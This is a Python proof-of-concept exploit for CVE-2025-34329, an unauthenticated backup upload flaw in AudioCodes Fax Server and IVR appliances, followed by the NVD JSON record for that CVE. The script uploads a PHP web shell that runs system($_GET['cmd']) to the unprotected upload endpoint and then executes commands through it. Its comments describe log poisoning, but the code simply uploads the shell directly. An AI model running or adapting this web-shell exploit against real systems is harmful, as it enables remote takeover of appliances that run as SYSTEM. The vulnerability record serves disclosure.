CVE-2025-34329

#!/usr/bin/env python3 """ CVE-2025-34329 AudioCodes Fax Server Unauthenticated RCE PoC Reference: https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-backup-upload-rce-via-ajaxbackupuploadfile """ import requests import sys TARGET = "http://target:80" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET}/AudioCodes_files/ajaxBackupUploadFile.php" def check_vulnerability(): """Check if target is vulnerable by uploading a test file""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } # Create malicious PHP backdoor file files = { 'file': ('test.php', '<?php phpinfo(); ?>', 'application/x-php') } try: response = requests.post(UPLOAD_ENDPOINT, files=files, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_rce(cmd): """Execute arbitrary command via log poisoning or config file upload""" # Step 1: Upload malicious config to poison log file config_payload = '<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', config_payload, 'application/octet-stream') } response = requests.post(UPLOAD_ENDPOINT, files=files, timeout=10) # Step 2: Trigger command execution shell_url = f"{TARGET}/AudioCodes_files/shell.php" try: exec_response = requests.get(f"{shell_url}?cmd={cmd}", timeout=10) return exec_response.text except: return None if __name__ == "__main__": print("[*] CVE-2025-34329 AudioCodes RCE Exploit") if check_vulnerability(): print("[+] Exploiting...") result = exploit_rce("whoami") if result: print(f"[+] Command output: {result}")

{"cve": {"id": "CVE-2025-34329", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:47.613", "lastModified": "2025-12-12T16:09:44.737", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 expose an unauthenticated backup upload endpoint at AudioCodes_files/ajaxBackupUploadFile.php in the F2MAdmin web interface. The script derives a backup folder path from application configuration, creates the directory if it does not exist, and then moves an uploaded file to that location using the attacker-controlled filename, without any authentication, authorization, or file-type validation. On default Windows deployments where the backup directory resolves to the system drive, a remote attacker can upload web server or interpreter configuration files that cause a log file or other server-controlled resource to be treated as executable code. This allows subsequent HTTP requests to trigger arbitrary command execution under the web server account, which runs as NT AUTHORITY\\\\SYSTEM."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "A325B684-937A-4AE9-A8B2-235ADB2D1932"}, {"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "131420AA-FE49-42FC-A8EC-50C5EB40D3A3"}]}]}], "references": [{"url": "https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.audiocodes.com/media/g1in2u2o/0548-product-notice-end-of-service-for-audiocodes-auto-attendant-ivr-solution.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-backup-upload-rce-via-ajaxbackupuploadfile", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}